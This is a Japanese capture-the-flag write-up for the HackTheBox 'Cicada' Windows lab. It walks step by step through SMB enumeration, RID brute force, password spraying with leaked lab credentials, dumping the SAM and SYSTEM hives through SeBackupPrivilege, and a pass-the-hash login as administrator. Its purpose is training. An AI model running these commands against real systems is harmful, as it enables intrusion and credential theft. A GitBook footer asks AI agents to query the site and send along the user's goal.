> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Cicada HackTheBox攻略記事

SMB列挙（RIDブルートフォース）、情報漏えい（ユーザー説明）（netexec）、権限昇格（SeBackupPrivilege）、SAM抽出（pypykat

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**スキル:**

* SMB列挙（RIDブルートフォース）
* 情報漏えい（ユーザー説明）（netexec）
* 権限昇格（SeBackupPrivilege）
* SAM抽出（pypykatz）
* Pass-the-Hash（EvilWinRM）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-650bcb3e20edb06059af70a0c132b3198ce248c9%2F%7BB59317FF-FB85-4ABD-A72D-4C2AB2E295D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5566191c65f8e81f3a4efab8f0144f524483c5d%2Fimage%20(797).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e575ca3c176530437bedbf579e4a26ce49b38dd%2Fimage%20(798).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（53,88,135,139.389,445,464,593,636,3268,3269,5985,5169）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68b5105376bc3a75f9c28d5b5ee6436c98e3c187%2Fimage%20(799).png?alt=media" alt=""><figcaption></figcaption></figure>

Nmapによるポートバージョンスキャン：

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2db2e6442dc9e637b543f4d37cd20efb72a95754%2Fimage%20(800).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b80b5e039a73f4080f99b77c9af3f11f2271703%2F%7B74D491D3-7D9E-4B51-9747-DB1D4934D598%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-decc0f987c913b1d08be878b6ae3fd2a2f92b190%2Fimage%20(801).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート 445 - SMB

**smbmap による SMB 列挙**

ヌルセッションで共有リソースを列挙するには：

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24c9fc77f5065cb94a3e22c6e926f28954d788e4%2F%7B32BBA777-A779-4827-BB71-A6B36E0CA98D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

その **HR** フォルダには興味深いテキストファイルが含まれています。中身を調べます：

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e72c3fc9a8315ef2a6767e1cb1793e80fed72840%2Fimage%20(802).png?alt=media" alt=""><figcaption></figcaption></figure>

**ファイルをダウンロード**

共有にアクセスしてファイルをダウンロードします：

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb25c42f00c75c39d6c57641977d471356c360df%2Fimage%20(803).png?alt=media" alt=""><figcaption></figcaption></figure>

そのファイルにはパスワードが含まれています

* パスワード: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25eb617fd6696444bed6bc51a08d4487d9175e20%2Fimage%20(804).png?alt=media" alt=""><figcaption></figcaption></figure>

## RIDブルートフォースの一覧

#### ドメインのユーザーを特定するために、RIDブルートフォース攻撃を実行します：

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> その `--rid-brute` パラメータは / を実行するために使用されま&#x3059;*/* 総当たり攻撃/*/* 上で **RID（関連識別子）** Windowsドメイン内のユーザー。RIDはWindowsシステムにおけるユーザーの一意な識別子の一部で、通常はユーザーアカウントやグループを識別するために使用されます

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5ff61c34c8f56d994e65824e94b9d32e070cfa6%2F%7B2A5D72BB-3931-490A-A31B-C3A9D1B42C52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

見つかったユーザー一覧はこちらです：

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### ユーザー検証

見つかったパスワードをすべてのユーザーで試します：

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

ユーザー **michael.wrightson** このパスワードを使用します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6544bdeedaf1ace5b1f3de36ea5af89b891e8808%2Fimage%20(807).png?alt=media" alt=""><figcaption></figcaption></figure>

### ユーザー Michael：

### netexec による列挙

次を使用します **michael.wrightson** さらに調査するための認証情報：

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a48d74fde2e23c372291ae765ce314867b0d694d%2F%7BB3D3F99E-A22B-4BC1-8C00-C79341B106DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、ユーザーの平文パスワードが明らかになります **david.orelious**:

* ユーザー名: `david.orelious`
* パスワード: `aRt$Lp#7t*VQ!3`

/*// の認証情報を使った検証と SMB 列挙* **david.orelious**

### ユーザー David への切り替え

CrackMapExec で david.orelious の ID を検証します：

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51cda32b0de45aa574139c8765e98944e3dd90da%2Fimage%20(808).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、smbmap を使って対象でアクセス可能な SMB 共有を調べます：

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4316ed07daaa1a7b767778fc37d5eb1760c9883d%2Fimage%20(809).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、smbclient で DEV 共有に接続します：

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

この共有には backup/ script.ps1 という名前のスクリプトがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-894b8439016bb7730e47e3e38035fde84490d173%2F%7BDD71513F-0CE1-4AC7-BC20-E1974106A32A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### ユーザー Emily への切り替え

get コマンドで backup/ script.ps1 をダウンロードすると、ユーザー ID emily.oscars を見つけます

* ユーザー名: emily.oscars
* パスワード: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc656f26d2a0660113af48a6799fd0b9966213a9%2Fimage%20(810).png?alt=media" alt=""><figcaption></figcaption></figure>

これらの認証情報を CrackMapExec で検証します：

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

次に、Evil-WinRM でマシンに接続します：

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ee9eb27638701f76a22725a2b868cf6a859a827%2Fimage%20(811).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txtフラグ

user.txt ファイルからフラグを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d856f5dd0fa5241793d58de885a2989e4770aa67%2Fimage%20(812).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**権限チェック**

まず、現在のユーザーの権限を確認しましょう。以下のコマンドを実行して、ユーザーが `SeBackupPrivilege` 権限を持っているか確認します：

```bash
whoami /priv
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5d1e6f58202ec3883b988728548a66f98739fda%2Fimage%20(2712).png?alt=media" alt=""><figcaption></figcaption></figure>

**必要な DLL ファイルをダウンロード**

これらの権限を悪用するには、DLL ファイルを被害マシンにダウンロードします。入手先は [こちら](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

以下のコマンドを使って、これらのファイルを被害者のマシンにアップロードします

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-448c241fd1096d858e09ed00ea9fd60a7aec0c52%2Fimage%20(2713).png?alt=media" alt=""><figcaption></figcaption></figure>

**DLL モジュールの読み込み**

DLL ファイルをダウンロードしたら、次のコマンドで PowerShell セッションに読み込みます：

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**SAM と SYSTEM ファイルのバックアップ**

これから `SAM` および `SYSTEM` ユーザー認証情報を含むファイルを保存します。保存には次のコマンドを使います：

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03d5d6200b5b6173856fb745a24a9fc18e206b06%2Fimage%20(2715).png?alt=media" alt=""><figcaption></figcaption></figure>

**SAM と SYSTEM ファイルをダウンロード**

ファイルを保存したら、スキャンするために仮想マシン（VM）へダウンロードできます：

```powershell
download sam
download system
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-744ab6636c2bcf09bc648f6b7436cd31a1c93296%2Fimage%20(2716).png?alt=media" alt=""><figcaption></figcaption></figure>

### **SAM ファイルからハッシュを抽出**

使用する `samdump2` からハッシュを抽出するために `SAM` および `SYSTEM` ファイル：

```bash
samdump2 system sam
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bab0e858303b23f0bb12e4bce4774e7b880831a%2Fimage%20(2718).png?alt=media" alt=""><figcaption></figcaption></figure>

このコマンドが動作しない場合は、 `pypykatz` を使って直接ハッシュを抽出してみてください：

```bash
pypykatz registry system --sam sam
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-179e390f740523e1401680346d6cc618438d1142%2Fimage%20(2717).png?alt=media" alt=""><figcaption></figcaption></figure>

これで有効なハッシュが得られるはずです。たとえば：

* ハッシュ： `2b87e7c93a3e8a0ea4a581937016f341`

### **Evil-WinRM による Pass-the-Hash**

ハッシュが手に入ったので、それを使って「Pass-the-Hash」を実行し、対象マシンに接続できます `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6638affa77ecbaee987dace0bee8a6642228823%2F%7B97029CC7-1C0D-4857-984D-5B10A40D1DD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6ac9eef361c901b8bdd6b31677a08cc842da0db%2F%7B51FD37ED-70B8-4CB1-BF29-FF915302BBBE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fce44cd234886663d7d82056051732e010e5090c%2F%7B4F7CCF65-DFFC-4675-AD9B-9373499A0D92%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
